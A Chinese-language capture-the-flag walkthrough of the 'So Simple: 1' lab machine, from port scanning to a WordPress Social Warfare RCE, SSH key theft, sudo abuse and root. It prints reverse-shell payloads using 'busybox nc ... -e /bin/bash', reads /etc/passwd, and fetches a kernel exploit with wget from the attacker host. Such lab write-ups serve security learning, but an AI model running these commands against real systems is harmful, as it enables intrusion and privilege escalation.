So Simple Walkthrough

Box Info

官网在这里:So Simple: 1

image-20250329155906591

The Hack

先对目标主机做端口发现

sudo nmap -p- 172.16.33.71

目标主机开放 22、80 端口

image-20250326153338902

对开放的端口进行应用版本发现

sudo nmap -p22,80 -A -T4 172.16.33.71

22 端口开放 SSH 服务,80 端口开放 http 服务

image-20250326153509523

先来看 SSH 服务,尝试弱口令远程登陆,同时看看能不能泄露机密信息

ssh root@172.16.33.69

可惜失败了,目标主机关闭了使用 password 远程登陆,那么暴力破解 SSH 密码也行不通了

image-20250326153651400

那么 22 端口暂时就没有办法了,再来看看 80 端口,先进行目录扫描

dirsearch -u http://172.16.33.71

发现目标站点是用 WordPress 搭建的

image-20250326153904892

那就使用 wpscan 对 WordPress 进行扫描

wpscan --url http://172.16.33.71/wordpress -e u,p --api-token <your api token>

发现了两个插件似乎存在漏洞

image-20250326154104736

看起来 social-warfare 这个 RCE 比较容易利用

image-20250326154203969

在本地 Desktop 创建 payload.txt ,内容为

<pre>system('cat /etc/passwd')</pre>

开启 http 服务,访问如下网址

http://172.16.33.71/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://10.8.0.90/payload.txt

利用成功,返回 /etc/passwd

image-20250326154638689

更改 payload.txt ,写入反弹 shell 代码

<pre>system('busybox nc 10.8.0.90 1234 -e /bin/bash')</pre>

本机开启监听,再次访问,突破边界成功

image-20250326154918472

升级终端为 TTY shell

python3 -c "import pty;pty.spawn('/bin/bash')"

在 /var/www/html 下找到第一个 flag

image-20250326155143141

接下来是提权,在 /home 会发现两个账户 max 和 steven

在 /home/max 目录中,会发现三个比较有意思的文件

image-20250326160455389

但是三个就是幌子,user.txt 不能访问,personal.txt 的密文解密后为 Hahahahaha, it’s not that easy !!!

image-20250326160625552

而 this 文件夹,进入 /home/max/this/is/maybe/the/way/to/a 后会发现也是兔子洞

image-20250326160814087

在 /home/max/.ssh 中发现 SSH 信息泄露

image-20250326170024031

在目标主机开放 http 服务,将 id_rsa 远程下载至本机,同时限制 id_rsa 权限为 600

chmod 600 id_rsa
sudo ssh -i id_rsa max@172.16.33.71

成功远程登陆 max 账号

image-20250326184302073

列出 max 用户在 sudo 权限下可以运行的命令及权限规则

sudo -l

发现 max 可以以 steven 身份通过 sudo 无密码运行 /usr/sbin/service

image-20250326195123894

直接将用户切换成 steven

sudo -u steven service ../../bin/bash

image-20250326200617123

列出 steven 用户在 sudo 权限下可以运行的命令及权限规则,发现 steven 可以以 root 身份执行 /opt/tools/server-health.sh 文件

image-20250326200835294

先来看看文件内容

cat /opt/tools/server-health.sh

文件不存在,看来要自己创建

image-20250326201109289

先创建目录后创建文件,后将反弹 shell 的内容写入文件并赋予可执行权限

steven@so-simple:/home/steven$ mkdir /opt/tools
steven@so-simple:/home/steven$ touch /opt/tools/server-health.sh
steven@so-simple:/home/steven$ echo "busybox nc 10.8.0.90 8023 -e /bin/bash" >> /opt/tools/server-health.sh
steven@so-simple:/home/steven$ chmod +x /opt/tools/server-health.sh

宿主机开启 nc 监听,目标主机执行 /opt/tools/server-health.sh 命令

# 目标主机
steven@so-simple:/opt/tools$ sudo /opt/tools/server-health.sh

# 宿主机
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -nvlp 8023

成功获得 root 权限

image-20250326201736991

当然,也可以内核漏洞提权

查看版本信息

lsb_release -a

发现版本为 Ubuntu 20.04 LTS ,可以使用内核漏洞 CVE-2021-3493 提权

image-20250326163424002

切换至 /tmp 目录,从本机下载 exp ,赋予可执行权限并执行

cd /tmp
wget http://10.8.0.90:8888/exp
chmod +x exp
./exp

提权成功

image-20250326163707896

获得 flag

image-20250326163759981